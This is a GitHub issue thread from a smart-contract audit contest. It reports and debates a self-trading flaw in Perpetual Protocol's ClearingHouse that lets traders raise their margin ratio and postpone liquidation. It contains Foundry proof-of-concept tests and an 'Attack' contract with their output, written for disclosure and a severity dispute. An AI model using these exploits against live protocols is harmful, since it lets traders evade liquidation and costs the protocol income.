search

sherlock-audit / 2024-02-perpetual-judging

1 stars 1 forks source link

neon2835 - Users can avoid the possibility of liquidation #112

Closed sherlock-admin3 closed 1 week ago

sherlock-admin3 commented 2 months ago

neon2835

high

Users can avoid the possibility of liquidation

Summary

When the margin utilization rate of the account is lower than maintenanceMarginRatio, the user's account will be liquidated. Therefore, in order to avoid liquidation, users must add margin to the account to make its account value higher than the maintenance margin requirement.

However, there is a vulnerability in the system, which can improve the utilization rate of account margin without adding more additional margin, which allows users to avoid the possibility of liquidation.

Vulnerability Detail

There are two main reasons for this vulnerability:

  1. The system does not restrict the account from trading with its own account.
  2. The trade price can be different from the Oracle price As long as the price difference remains within a certain range, the transaction can be completed, priceBandRatio can be set in the priceBandRatioMap of the config contract.

The priceBandRatio will also be different according to the risk of different markets. Take the ETH market as an example, its priceBandRatio is about 5% (I consulted the project personnel on the discord discussion group).

Assuming that users open positions to hold long/short positions in ETH market. At this time, the user trades with himself, he can manipulate the trade price, thus manipulating the margin utilization rate of the account.

Let the code speak for itself, here's my test file: MyTest.t.sol, just put it in the test/clearingHouse directory:

// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity >=0.8.0;

import "../oracleMaker/OracleMakerIntSetup.sol";
import { ClearingHouse } from "../../src/clearingHouse/ClearingHouse.sol";
import { IClearingHouse } from "../../src/clearingHouse/IClearingHouse.sol";
import { OracleMaker } from "../../src/maker/OracleMaker.sol";
import { LibError } from "../../src/common/LibError.sol";
import "forge-std/console.sol";

contract MyTest is OracleMakerIntSetup {
    bytes public makerData;
    address public taker = makeAddr("taker");
    address public lp = makeAddr("lp");
    struct MakerOrder {
        uint256 amount;
    }

    function setUp() public override {
        super.setUp();

        makerData = validPythUpdateDataItem;

        _mockPythPrice(150, 0);
        _deposit(marketId, taker, 500e6);
        maker.setValidSender(taker, true);

        deal(address(collateralToken), address(lp), 2000e6, true);
        vm.startPrank(lp);
        collateralToken.approve(address(maker), 2000e6);
        maker.deposit(2000e6);
        vm.stopPrank();
    }

    function test_imporveMarginRatio() public{
        vm.startPrank(taker);
        _mockPythPrice(150, 0);
        uint price = 150 * 1e18;
        // taker long ether with 1500 usd
        clearingHouse.openPosition(
            IClearingHouse.OpenPositionParams({
                marketId: marketId,
                maker: address(maker),
                isBaseToQuote: false,
                isExactInput: true,
                amount: 1500 ether,
                oppositeAmountBound: 10 ether,
                deadline: block.timestamp,
                makerData: makerData
            })
        );
        console.log("---------------- before ------------------- ");
        printLegacyMarginProfile(_getMarginProfile(marketId, taker, price));

        // taker trade with himself
        clearingHouse.openPosition(
            IClearingHouse.OpenPositionParams({
                marketId: marketId,
                maker: address(taker), //NOTE maker equel taker
                isBaseToQuote: false,
                isExactInput: true,
                amount: 1500 ether,
                oppositeAmountBound: 10 ether,
                deadline: block.timestamp,
                makerData: abi.encode(MakerOrder({
                    amount: 10.5 ether //NOTE suppose 5% band
                }))
            })
        );
        console.log("\r");
        console.log("---------------- after ------------------- ");
        printLegacyMarginProfile(_getMarginProfile(marketId, taker, price));

    }

    function test_avoidLiquidation() public{
        vm.startPrank(taker);
        _mockPythPrice(150, 0);
        // taker long ether with 1500 usd
        clearingHouse.openPosition(
            IClearingHouse.OpenPositionParams({
                marketId: marketId,
                maker: address(maker),
                isBaseToQuote: false,
                isExactInput: true,
                amount: 1500 ether,
                oppositeAmountBound: 10 ether,
                deadline: block.timestamp,
                makerData: makerData
            })
        );

        uint price = 109 * 1e18; //The price that make users to be liquidated
        console.log("---------------- normal ------------------- ");
        printLegacyMarginProfile(_getMarginProfile(marketId, taker, price));
        console.log("isLiquidatable", clearingHouse.isLiquidatable(marketId, taker, price));

        // taker trade with himself
        clearingHouse.openPosition(
            IClearingHouse.OpenPositionParams({
                marketId: marketId,
                maker: address(taker), //NOTE maker equel taker
                isBaseToQuote: false,
                isExactInput: true,
                amount: 1500 ether,
                oppositeAmountBound: 10 ether,
                deadline: block.timestamp,
                makerData: abi.encode(MakerOrder({
                    amount: 10.5 ether //NOTE suppose 5% band
                }))
            })
        );
        console.log("\r");
        console.log("---------------- after taker trade with himself -------------------");
        printLegacyMarginProfile(_getMarginProfile(marketId, taker, price));
        console.log("isLiquidatable", clearingHouse.isLiquidatable(marketId, taker, price));
        vm.stopPrank();
    }

    function printLegacyMarginProfile(LegacyMarginProfile memory _legacy) private view {
        console.log("\r");
        console.log("accountValue:");
        console.logInt(_legacy.accountValue);
        console.log("\r");

        console.log("marginRatio:");
        console.logInt(_legacy.marginRatio);
        console.log("\r");
    }
}

First, run the test_imporveMarginRatio function to verify whether the margin utilization rate can be improved, run:

forge test --match-path test/clearingHouse/MyTest.t.sol --match-test test_imporveMarginRatio -vvv

Get the results:

Ran 1 test for test/clearingHouse/MyTest.t.sol:MyTest
[PASS] test_imporveMarginRatio() (gas: 1434850)
Logs:
  ---------------- before ------------------- 

  accountValue:
  500000000000000000000

  marginRatio:
  333333333333333333

  ---------------- after ------------------- 

  accountValue:
  500000000000000000000

  marginRatio:
  349999999999999999

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 7.51ms (4.20ms CPU time)

We can see that with the accountValue unchanged, the margin utilization rate has increased from 333333333333333333 to 349999999999999999. Please note that this is only when priceBandRatio is equal to 5%, the greater the value of priceBandRatio, the greater the margin ratio that can be increased!

Then let's continue running the test_avoidLiquidation function, run:

forge test --match-path test/clearingHouse/MyTest.t.sol --match-test test_avoidLiquidation -vvv

Get the results:

Ran 1 test for test/clearingHouse/MyTest.t.sol:MyTest
[PASS] test_avoidLiquidation() (gas: 1528984)
Logs:
  ---------------- normal ------------------- 

  accountValue:
  90000000000000000000

  marginRatio:
  60000000000000000

  isLiquidatable true

  ---------------- after taker trade with himself -------------------

  accountValue:
  90000000000000000000

  marginRatio:
  62999999999999999

  isLiquidatable false

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 7.90ms (4.57ms CPU time)

Through the test results, it is found that the account should have met the conditions for liquidation, and by constructing its own transactions with itself, it can not be liquidated any more.

Impact

By trading with themselves, users can improve their margin utilization without adding additional margin, which allows users to avoid the possibility of liquidation

Code Snippet

Although the code snippet that caused the vulnerability is complex, the main reason is in the _openPosition function of the ClearingHouse contract:

https://github.com/sherlock-audit/2024-02-perpetual/blob/main/perp-contract-v3/src/clearingHouse/ClearingHouse.sol#L267-L356

Tool used

Manual Review Foundry Vscode

Recommendation

Forcibly restrict users from trading with their own accounts. Add judgment conditions to the _openPosition function of the ClearingHouse contract:

require( taker != params.maker, "Taker can not equal to Maker" );
sherlock-admin3 commented 1 month ago

1 comment(s) were left on this issue during the judging contest.

takarez commented:

taker should not be equal to maker; high(2)

sherlock-admin4 commented 1 month ago

The protocol team fixed this issue in the following PRs/commits: https://github.com/perpetual-protocol/perp-contract-v3/pull/7

nirohgo commented 1 month ago

Escalate

Informational/Low

While it might be a good idea to prevent self trades in general, this finding has nothing to do with evading liquidations without adding margin:

I'll use the POC presented in the finding (test_avoidLiquidation) to demonstrate: Here is what is actually happening there: A long position of size 10 is opened at the market price (150), Then the trader opens a long position of size 10.5 with a price of 142.8 (1500/10.5) with themselves as the maker. Because ClearingHouse first clears the maker, first the original position is closed at a loss (short 10 with price 142.8), then a short of 0.5 is opened (with the same price), next the taker is settled, closing the 0.5 short and opening a long of size 10 (at price 142.8). Since all PnL is realized by the end, the trader's loses ~72.5$ in the process. To see this, add these lines in the POC test function test_avoidLiquidation before and after the self-trade (change the margDec name the second time):

int256 margDec = vault.getMargin(marketId,address(taker)); console.log("taker margin"); console.logInt(margDec); THis shows that the trader loses $72.5 to change their margin ratio at the tested price (109) from 6% to 6.3% (for comparison, if they had added $10 of margin the ratio would have changed to 6.66%)

To simulate the actual situation the finding describes (that this method can be used to avoid liquidation when the user is close to being liquidated) change the tested price in the POC from 109 to 112 (8% liquidation rate), call _mockPythPrice(112, 0); before the self trade (to simulate a price drop bringing the trader close to liquidation), and change the self-trade amount to amount: 1117 ether (for a position price of 112*0.95=106.5). The self trade fails with NotEnoughFreeCollateral (because the loss in this case is greater).

sherlock-admin2 commented 1 month ago

Escalate

Informational/Low

While it might be a good idea to prevent self trades in general, this finding has nothing to do with evading liquidations without adding margin:

I'll use the POC presented in the finding (test_avoidLiquidation) to demonstrate: Here is what is actually happening there: A long position of size 10 is opened at the market price (150), Then the trader opens a long position of size 10.5 with a price of 142.8 (1500/10.5) with themselves as the maker. Because ClearingHouse first clears the maker, first the original position is closed at a loss (short 10 with price 142.8), then a short of 0.5 is opened (with the same price), next the taker is settled, closing the 0.5 short and opening a long of size 10 (at price 142.8). Since all PnL is realized by the end, the trader's loses ~72.5$ in the process. To see this, add these lines in the POC test function test_avoidLiquidation before and after the self-trade (change the margDec name the second time):

int256 margDec = vault.getMargin(marketId,address(taker)); console.log("taker margin"); console.logInt(margDec); THis shows that the trader loses $72.5 to change their margin ratio at the tested price (109) from 6% to 6.3% (for comparison, if they had added $10 of margin the ratio would have changed to 6.66%)

To simulate the actual situation the finding describes (that this method can be used to avoid liquidation when the user is close to being liquidated) change the tested price in the POC from 109 to 112 (8% liquidation rate), call _mockPythPrice(112, 0); before the self trade (to simulate a price drop bringing the trader close to liquidation), and change the self-trade amount to amount: 1117 ether (for a position price of 112*0.95=106.5). The self trade fails with NotEnoughFreeCollateral (because the loss in this case is greater).

You've created a valid escalation!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

nevillehuang commented 1 month ago

@paco0x @CheshireCatNick @lnxrp @vinta Could you take a look at the above comment? IIRC this is a major risk to you guys based on previous discussions.

paco0x commented 1 month ago

@paco0x @CheshireCatNick @lnxrp @vinta Could you take a look at the above comment? IIRC this is a major risk to you guys based on previous discussions.

After rerun the test with the suggestions given by @nirohgo, I think he's point is valid. When the external price is very close to the liquidation price, user is unable to perform the trade in the test (revert by NotEnoughFreeCollatera). So it's not possible to avoid liquidation without close position if the external price is already very close to the liquidation price.

But this issue still give an example of how can a trader improve his margin ratio and increase the free collateral by trading against himself. So we still think it's valid and suggest a medium level severity.

joicygiore commented 1 month ago

@paco0x @CheshireCatNick @lnxrp @vinta Could you take a look at the above comment? IIRC this is a major risk to you guys based on previous discussions.

After rerun the test with the suggestions given by @nirohgo, I think he's point is valid. When the external price is very close to the liquidation price, user is unable to perform the trade in the test (revert by NotEnoughFreeCollatera). So it's not possible to avoid liquidation without close position if the external price is already very close to the liquidation price.

But this issue still give an example of how can a trader improve his margin ratio and increase the free collateral by trading against himself. So we still think it's valid and suggest a medium level severity.

@paco0x This method is only to postpone the liquidated position, but if the price recovers as expected, the position can be closed normally and will not appear (revert by NotEnoughFreeCollatera),There was no plan from the beginning to close the position at a loss https://github.com/sherlock-audit/2024-02-perpetual-judging/issues/61

        // set price -> 193.76e18
@>        maker.setBaseToQuotePrice(193.76e18);
@>        _mockPythPrice(19376, -2);
        // Unable to liquidate
@>        assertEq(clearingHouse.isLiquidatable(marketId, attacker, 193.76e18), false);

        // set price -> 50e18
@>        maker.setBaseToQuotePrice(100e18);
@>       _mockPythPrice(100, 0);

Even if the price returns to the opening price, the position can be closed without loss.

paco0x commented 1 month ago

@paco0x @CheshireCatNick @lnxrp @vinta Could you take a look at the above comment? IIRC this is a major risk to you guys based on previous discussions.

After rerun the test with the suggestions given by @nirohgo, I think he's point is valid. When the external price is very close to the liquidation price, user is unable to perform the trade in the test (revert by NotEnoughFreeCollatera). So it's not possible to avoid liquidation without close position if the external price is already very close to the liquidation price. But this issue still give an example of how can a trader improve his margin ratio and increase the free collateral by trading against himself. So we still think it's valid and suggest a medium level severity.

@paco0x This method is only to postpone the liquidated position, but if the price recovers as expected, the position can be closed normally and will not appear (revert by NotEnoughFreeCollatera),There was no plan from the beginning to close the position at a loss #61

        // set price -> 193.76e18
@>        maker.setBaseToQuotePrice(193.76e18);
@>        _mockPythPrice(19376, -2);
        // Unable to liquidate
@>        assertEq(clearingHouse.isLiquidatable(marketId, attacker, 193.76e18), false);

        // set price -> 50e18
@>        maker.setBaseToQuotePrice(100e18);
@>       _mockPythPrice(100, 0);

Even if the price returns to the opening price, the position can be closed without loss.

Yes, I understand that it can postpone liquidation by increasing the margin ratio, @nirohgo's point is that you can only do this if the external price is much higher than the liquidation price.

To sum up: users can intentionally raise or lower the liquidation price, in a direction that is more favorable to them, thereby increasing the risk of the liquidation system, but there is not much room for this liquidation price improvement.

We confirm it's a valid issue but not sure about the severity level, better to let the judge decide the final result.

WangSecurity commented 3 weeks ago

I believe it should be medium, since the it's a valid issue (as confirmed by the sponsor) but with certain constraints expressed in the discussion above.

The escalation suggested low/info severity, hence I'm planning to reject the escalation, but downgrade the severity to medium.

oxneon commented 3 weeks ago

I believe it should be medium, since the it's a valid issue (as confirmed by the sponsor) but with certain constraints expressed in the discussion above.

The escalation suggested low/info severity, hence I'm planning to reject the escalation, but downgrade the severity to medium.

Please allow me, because this is my first time participating in Sherlock, can I still defend myself now?

WangSecurity commented 3 weeks ago

Yes, if you've got any points to defend yourself and keep high severity, please provide any info/arguments.

joicygiore commented 3 weeks ago

Yes, if you've got any points to defend yourself and keep high severity, please provide any info/arguments.

Although the amount that can be postponed is limited, if the winning rate is calculated with a probability of 5:5, then this seemingly subtle percentage actually has a huge impact. You must know that in baccarat, the banker's probability of winning is 45.8%, which is slightly higher than the player's 44.6% probability of winning. The probability of a draw is only 9.6%. This subtle advantage is the key to victory or defeat. 🫡 Even a single increase in margin is limited. But if you operate it multiple times, such as hundreds, thousands, or tens of thousands of times, the accumulation of all the amounts will be a very scary existence.

oxneon commented 3 weeks ago

Yes, if you've got any points to defend yourself and keep high severity, please provide any info/arguments.

In my opinion, when there is a vulnerability, it depends on how to use it. In fact, you don't have to wait until the price is about to reach the threshold of liquidation before starting to trade with yourself. Anyone can immediately trade with themselves after opening a position to improve the utilization of margin. I added two new test functions for obvious comparison:

    function test_canLiqudated() public{
        vm.startPrank(taker);
        _mockPythPrice(150, 0);
        // taker long ether with 1500 usd
        clearingHouse.openPosition(
            IClearingHouse.OpenPositionParams({
                marketId: marketId,
                maker: address(maker),
                isBaseToQuote: false,
                isExactInput: true,
                amount: 1500 ether,
                oppositeAmountBound: 10 ether,
                deadline: block.timestamp,
                makerData: makerData
            })
        );

        uint price = 109 * 1e18; //The price that make users to be liquidated
        _mockPythPrice(109, 0);
        console.log("---------------- test_canLiqudated ------------------- ");
        console.log("isLiquidatable", clearingHouse.isLiquidatable(marketId, taker, price));
        vm.stopPrank();
    } 

    function test_canNotLiqudated() public{
        vm.startPrank(taker);
        _mockPythPrice(150, 0);
        // taker long ether with 1500 usd
        clearingHouse.openPosition(
            IClearingHouse.OpenPositionParams({
                marketId: marketId,
                maker: address(maker),
                isBaseToQuote: false,
                isExactInput: true,
                amount: 1500 ether,
                oppositeAmountBound: 10 ether,
                deadline: block.timestamp,
                makerData: makerData
            })
        );
        // please note anyone can do. NO constraints here.
        // taker trade with himself
        clearingHouse.openPosition(
            IClearingHouse.OpenPositionParams({
                marketId: marketId,
                maker: address(taker), //NOTE maker equel taker
                isBaseToQuote: false,
                isExactInput: true,
                amount: 1500 ether,
                oppositeAmountBound: 10 ether,
                deadline: block.timestamp,
                makerData: abi.encode(MakerOrder({
                    amount: 10.5 ether //NOTE suppose 5% band
                }))
            })
        );

        uint price = 109 * 1e18; //The price that make users to be liquidated
        _mockPythPrice(109, 0);
        console.log("---------------- test_canNotLiqudated ------------------- ");
        console.log("isLiquidatable", clearingHouse.isLiquidatable(marketId, taker, price));
        vm.stopPrank();
    }

run:

forge test --match-path test/clearingHouse/MyTest.t.sol --match-test test_canLiqudated -vvv

Ran 1 test for test/clearingHouse/MyTest.t.sol:MyTest
[PASS] test_canLiqudated() (gas: 768867)
Logs:
  ---------------- test_canLiqudated ------------------- 
  isLiquidatable true
forge test --match-path test/clearingHouse/MyTest.t.sol --match-test test_canNotLiqudated -vvv

Ran 1 test for test/clearingHouse/MyTest.t.sol:MyTest
[PASS] test_canNotLiqudated() (gas: 999226)
Logs:
  ---------------- test_canNotLiqudated ------------------- 
  isLiquidatable false
  1. Compared to the test_canLiquitated function, the test_canNotLiquitated function only has one additional step: trading with itself.
  2. The test_canNotLiquated result shows that the user cannot be liquidated at this time.

In addition, let's look at the definition of high issue in the sherlock documentation: https://docs.sherlock.xyz/audits/judging/judging#iv.-how-to-identify-a-high-issue

IV. How to identify a high issue: Definite loss of funds without (extensive) limitations of external conditions.

Inflicts serious non-material losses (doesn't include contract simply not working).

Obviously, this vulnerability meets the first description in the document: Definite loss of funds without (extensive) limitations of external conditions.

  1. Definite loss of funds: The liquidation behavior can generate income for the protocol, but the income that should have been obtained cannot be obtained, which is a loss.
  2. Without (extensive) limitations of external conditions : As I said before, you don't have to wait until the price is about to reach the threshold of liquidation before starting to trade with yourself. Anyone can immediately trade with themselves after opening a position to improve the utilization of margin.

In summary, this vulnerability should be kept as a high issue.

joicygiore commented 3 weeks ago

you don't have to wait until the price is about to reach the threshold of liquidation before starting to trade with yourself. Anyone can immediately trade with themselves after opening a position to improve the utilization of margin. In order to make an obvious comparison, I used user as the control group and deployed a simple contract to execute the transaction(without worrying about price issues):

contract Attack {
    IClearingHouse target;

    constructor(address _target) {
        target = IClearingHouse(_target);
    }

    function openPosition(uint256 marketId, address maker, uint256 amount) public {
        bytes memory makerData = abi.encode(IClearingHouse.MakerOrder({ amount: (amount * 95) / 100 }));
        target.openPosition(
            IClearingHouse.OpenPositionParams({
                marketId: marketId,
                maker: address(maker),
                isBaseToQuote: true,
                isExactInput: true,
                amount: 1 ether,
                oppositeAmountBound: amount,
                deadline: block.timestamp,
                makerData: ""
            })
        );
        target.closePosition(
            IClearingHouse.ClosePositionParams({
                marketId: marketId,
                maker: address(this),
                oppositeAmountBound: type(uint256).max,
                deadline: block.timestamp,
                makerData: makerData
            })
        );
    }

    function closePosition(uint256 marketId, address maker, uint256 amount) public {
        target.openPosition(
            IClearingHouse.OpenPositionParams({
                marketId: marketId,
                maker: address(maker),
                isBaseToQuote: false,
                isExactInput: false,
                amount: 1 ether,
                oppositeAmountBound: amount,
                deadline: block.timestamp,
                makerData: ""
            })
        );
    }
}

       // attack contract
    function testModifyAccountMarginRatioContract() public {
        // init user
        address user = makeAddr("user");
        uint256 startCollateralToken = 100e6;
        // deploy attack contract
        Attack attack = new Attack(address(clearingHouse));
        _deposit(marketId, address(attack), startCollateralToken);
        _deposit(marketId, address(user), startCollateralToken);
        // set PriceBandRatio -> 10%
        config.setPriceBandRatio(marketId, 0.05 ether);
        // set price -> 100e18
        maker.setBaseToQuotePrice(100e18);
        _mockPythPrice(100, 0);
        // user openPosition
        vm.prank(user);
        clearingHouse.openPosition(
            IClearingHouse.OpenPositionParams({
                marketId: marketId,
                maker: address(maker),
                isBaseToQuote: true,
                isExactInput: true,
                amount: 1 ether,
                oppositeAmountBound: 100 ether,
                deadline: block.timestamp,
                makerData: ""
            })
        );
        // attack contract openPosition
        attack.openPosition(marketId, address(maker), 100 ether);
        assertEq(clearingHouse.isLiquidatable(marketId, user, 193.76e18), true);
        assertEq(clearingHouse.isLiquidatable(marketId, address(attack), 193.76e18), false);
        console.log("user isLiquidatable()",clearingHouse.isLiquidatable(marketId, user, 193.76e18));
        console.log("attack isLiquidatable()",clearingHouse.isLiquidatable(marketId, address(attack), 193.76e18));
    }
    // [PASS] testModifyAccountMarginRatioContract() (gas: 2232055)
    // Logs:
    //     user isLiquidatable() true
    //     attack isLiquidatable() false
IllIllI000 commented 2 weeks ago

The sponsor acknowledges that allowlisted makers may still be able to exploit this issue

sherlock-admin2 commented 2 weeks ago

The Lead Senior Watson signed off on the fix.

WangSecurity commented 2 weeks ago

@oxneon I agree that this can happen before reaching the liquidation threshold and it's not the problem we discussed here. The constraint that leads to it being a medium is that the trader can do that only if the external price is much higher than the liquidation price (here). I.e. the trader can indeed improve the utilization of margin but not near the liquidation. Hence, the medium is appropriate cause it requires specific states (external price has to be much higher than the liquidation price). If you disagree with it, the PoC for such scenario will help. Otherwise, planning to reject the escalation, but downgrade to medium (since the escalation asked Low/info severity).

joicygiore commented 2 weeks ago

@oxneon I agree that this can happen before reaching the liquidation threshold and it's not the problem we discussed here. The constraint that leads to it being a medium is that the trader can do that only if the external price is much higher than the liquidation price (here). I.e. the trader can indeed improve the utilization of margin but not near the liquidation. Hence, the medium is appropriate cause it requires specific states (external price has to be much higher than the liquidation price). If you disagree with it, the PoC for such scenario will help. Otherwise, planning to reject the escalation, but downgrade to medium (since the escalation asked Low/info severity).

How to get two different external prices in one function call?

oxneon commented 2 weeks ago

@oxneon I agree that this can happen before reaching the liquidation threshold and it's not the problem we discussed here. The constraint that leads to it being a medium is that the trader can do that only if the external price is much higher than the liquidation price (here). I.e. the trader can indeed improve the utilization of margin but not near the liquidation. Hence, the medium is appropriate cause it requires specific states (external price has to be much higher than the liquidation price). If you disagree with it, the PoC for such scenario will help. Otherwise, planning to reject the escalation, but downgrade to medium (since the escalation asked Low/info severity).

@WangSecurity I don't understand. The scenario I added is to illustrate that external prices have nothing to do with the exploitation of vulnerabilities, because external prices must be much higher than the liquidation price when opening a position for the first time (initial margin utilization = 10%, margin utilization to reach the liquidation threshold = 6.25%). This condition will definitely happen 100%.

I think if this is also a restriction condition, then according to this standard, no report is qualified to become a high issue, because all reports have restrictions, such as: the attacker must be human (gorillas are not smart enough), he must have a computer, his computer network must be functioning well, the attacker has the intention to do evil, the universe has not been destroyed... etc., because these are 100% guaranteed conditions, so everyone assumes that these conditions will not be considered as factors in judging a High issue. I am not being sophistic. Again, the same principle: the external price must be much higher than the liquidation price when opening a position for the first time (initial margin utilization rate = 10%, margin utilization rate reaching the liquidation threshold = 6.25%), this is a 100% guaranteed condition. This is not a small probability event, not even 80%, 99% probability, but 100%! When the probability of a condition occurring is 100%, it is no longer a constraint

In summary, this vulnerability should be kept as a high issue.

WangSecurity commented 2 weeks ago

First, the vulnerability is possible and it is not the question.

Second, this attack can only be executed in the start of the trade and cannot be executed when the attacker is nearing the liquidation, when the trader actually needs it. It's confirmed that the traders can improve their margin utilization, but as confirmed by the sponsor here, there is not much room for liquidation price improvement. Hence, I stand by my initial decision to reject the escalation and downgrade the issue to medium.

oxneon commented 2 weeks ago

First, the vulnerability is possible and it is not the question.

Second, this attack can only be executed in the start of the trade and cannot be executed when the attacker is nearing the liquidation, when the trader actually needs it. It's confirmed that the traders can improve their margin utilization, but as confirmed by the sponsor here, there is not much room for liquidation price improvement. Hence, I stand by my initial decision to reject the escalation and downgrade the issue to medium.

@WangSecurity This is ridiculous. Me and @joicygiore have tried many times to explain to you that attackers are not stupid enough to increase their margin utilization just before being liquidated. However, you have always ignored this core argument, and you have treated it as a strong restriction condition to judge something that is 100% likely to happen. No offense but this is very unfair and unreasonable, and I think it is a double standard.

Every finding requires some conditions or specific states. For example, #123 , which was accepted as High, requires that there be two offline Pyth price updates that were not reported onchain yet at that the price diff between them enables the attack. If my report is judged to be M, then #123 should also be M, otherwise it is a double standard.

In order to stop the endless argument, I am seeking assistance. @Evert0x @paco0x @CheshireCatNick @lnxrp @vinta Could you kindly review the discussion that follows with @joicygiore ? which is : here here here . I'd be most grateful.

WangSecurity commented 2 weeks ago

Excuse me for that confusion. I didn't ignore your comments and arguments and didn't argue that this scenario won't happen.

Indeed, traders are able to improve their margin utilization by trading with themselves right after opening a trade. But as confirmed by the sponsor, there is not much space for liquidation price improvement, hence, the impact is limited.

The liquidation can be postponed, but not avoided. Traders still can be liquidated, but at a lower price than they should.

As you said in one of your comments above, the loss of funds: the liquidations generate income for the protocol (protocol fees from liquidations), but it cannot be obtained when it should be (liquidations can be postponed).

I believe the 2 factors I described above (limited improvement of liquidation price and liquidations are only postponed, but still can happen at a lower price) make the loss of funds highly constrained (as in definition for Medium severity).

Moreover, this issue allows traders to intentionally improve margin utilization without providing more collateral, which is a core functionality break.

Hence, I believe medium severity is appropriate here.

joicygiore commented 2 weeks ago

Excuse me for that confusion. I didn't ignore your comments and arguments and didn't argue that this scenario won't happen.

Indeed, traders are able to improve their margin utilization by trading with themselves right after opening a trade. But as confirmed by the sponsor, there is not much space for liquidation price improvement, hence, the impact is limited.

The liquidation can be postponed, but not avoided. Traders still can be liquidated, but at a lower price than they should.

As you said in one of your comments above, the loss of funds: the liquidations generate income for the protocol (protocol fees from liquidations), but it cannot be obtained when it should be (liquidations can be postponed).

I believe the 2 factors I described above (limited improvement of liquidation price and liquidations are only postponed, but still can happen at a lower price) make the loss of funds highly constrained (as in definition for Medium severity).

Moreover, this issue allows traders to intentionally improve margin utilization without providing more collateral, which is a core functionality break.

Hence, I believe medium severity is appropriate here.

it is not difficult to achieve your requirements. First we only need to convert the direction in which the position was created from short to long. We increase the margin under the same capital conditions to ensure that the position will not be liquidated. Since the lower limit of the price parameter is 0, just ensure that the position cannot be liquidated when the price is 0.

    function _getPrice(uint256 marketId) internal view returns (uint256) {
        IAddressManager addressManager = getAddressManager();
        (uint256 price, ) = addressManager.getPythOracleAdapter().getPrice(
            addressManager.getConfig().getPriceFeedId(marketId)
        );
        return price;
    }

As for how much room there is to postpone liquidation, it no longer matters as long as the first problem is solved. At this point, you simply multiply the total of all positions rolled over by this method by that percentage to get the amount, and there is almost no upper limit on the total rolled over position. If we want to estimate an upper limit, it is the total amount of funds that all markets can bear for the project. Finally, multiply this seemingly small ratio by the amount of total capital and the results are staggering.

Poc

The attacker and the user have the same funds and create the same position at the same price. When the price reaches 0, the user will be liquidated, but the attacker will not.

contract Attack {
    IClearingHouse target;

    constructor(address _target) {
        target = IClearingHouse(_target);
    }

    function openPosition(uint256 marketId, address maker, uint256 amount) public {
        bytes memory makerData = abi.encode(IClearingHouse.MakerOrder({ amount: (amount * 95) / 100 }));
        target.openPosition(
            IClearingHouse.OpenPositionParams({
                marketId: marketId,
                maker: address(maker),
                isBaseToQuote: false,
                isExactInput: false,
                amount: amount / 100,
                oppositeAmountBound: amount,
                deadline: block.timestamp,
                makerData: ""
            })
        );
        target.openPosition(
            IClearingHouse.OpenPositionParams({
                marketId: marketId,
                maker: address(this),
                isBaseToQuote: false,
                isExactInput: false,
                amount: amount / 100,
                oppositeAmountBound: amount,
                deadline: block.timestamp,
                makerData: makerData
            })
        );
    }
}
    // attack contract
    function testModifyAccountMarginRatioContract() public {
        // init user
        address user = makeAddr("user");
        uint256 startCollateralToken = 106e6;
        // deploy attack contract
        Attack attack = new Attack(address(clearingHouse));
        // The same amount of funds
        _deposit(marketId, address(attack), startCollateralToken);
        _deposit(marketId, address(user), startCollateralToken);
        // set PriceBandRatio -> 5%
        config.setPriceBandRatio(marketId, 0.05 ether);
        // set price -> 100e18
        maker.setBaseToQuotePrice(100e18);
        _mockPythPrice(100, 0);
        // user openPosition -> long 
        vm.prank(user);
        clearingHouse.openPosition(
            IClearingHouse.OpenPositionParams({
                marketId: marketId,
                maker: address(maker),
                isBaseToQuote: false,
                isExactInput: false,
                amount: 1 ether,
                oppositeAmountBound: 100 ether,
                deadline: block.timestamp,
                makerData: ""
            })
        );
        // attack contract openPosition -> long （same as user）
        attack.openPosition(marketId, address(maker), 100 ether);

        maker.setBaseToQuotePrice(0e18);
        _mockPythPrice(0, 0);
        // At this time the price is 0
        assertEq(clearingHouse.isLiquidatable(marketId, user, 0e18), true);
        assertEq(clearingHouse.isLiquidatable(marketId, address(attack), 0e18), false);
        console.log("user isLiquidatable()",clearingHouse.isLiquidatable(marketId, user, 0e18));
        console.log("attack isLiquidatable()",clearingHouse.isLiquidatable(marketId, address(attack), 0e18));

    }
    // [PASS] testModifyAccountMarginRatioContract() (gas: 2225559)
    // Logs:
    //     user isLiquidatable() true
    //     attack isLiquidatable() false
WangSecurity commented 2 weeks ago

Thank you for that PoC, but when I tried to do the same with @oxneon PoC from here, I found that price needs to go from 109 to 108 to make the taker liquidatable even after exploiting this vuln.

The difference in your PoCs is that you use amount of 1 ether and 100 ether as opposite amount bound, when Neon used amount of 1500 ether and opposite amount of 10 ether.

Can you please explain why in your PoC it is much different?

joicygiore commented 2 weeks ago

I copied the test code provided by the sponsor😂

        // liquidator long 50 ether
        vm.prank(liquidator);
        clearingHouse.openPosition(
            IClearingHouse.OpenPositionParams({
                marketId: marketId,
                maker: address(maker),
                isBaseToQuote: false,
                isExactInput: false,
                amount: 50 ether,
                oppositeAmountBound: 5000 ether,
                deadline: block.timestamp,
                makerData: ""
            })
        );
WangSecurity commented 2 weeks ago

@joicygiore but it doesn't answer my question or explains anything. The values in your test are still different, even though 1:100 ratio is kept. Moreover, the part of the test you've sent depends on the context of how, where and why it was used, but I'm asking you about your PoC that was sent. So please, explain what makes such difference here, that in your test the trader is not liquidatable at any price?

And in the example by neon, we pass 10.5 ether as makerData (which is 5% price band as noted in neon's comment). In your case it's amount * 95 / 100, but if we replace it with value by neon, your test reverts.

WangSecurity commented 2 weeks ago

@joicygiore Another question, you didn't provide the entire test file, hence I pasted your PoC into the test by the submitter of this issue. Most of the errors are covered, but still when I try to test more with different values, it throws different errors, for example, when changing makerData or Member "setBaseToQuotePrice" not found or not visible after argument-dependent lookup in contract OracleMaker. Therefore, please send the entire test file in a timely manner, otherwise, I cannot take your test file into consideration to define the severity because it's hard to get it working with different values to fully comprehend it and you didn't explain the difference between two POCs. Thank you in advance.

joicygiore commented 2 weeks ago

@joicygiore Another question, you didn't provide the entire test file, hence I pasted your PoC into the test by the submitter of this issue. Most of the errors are covered, but still when I try to test more with different values, it throws different errors, for example, when changing makerData or Member "setBaseToQuotePrice" not found or not visible after argument-dependent lookup in contract OracleMaker. Therefore, please send the entire test file in a timely manner, otherwise, I cannot take your test file into consideration to define the severity because it's hard to get it working with different values to fully comprehend it and you didn't explain the difference between two POCs. Thank you in advance.

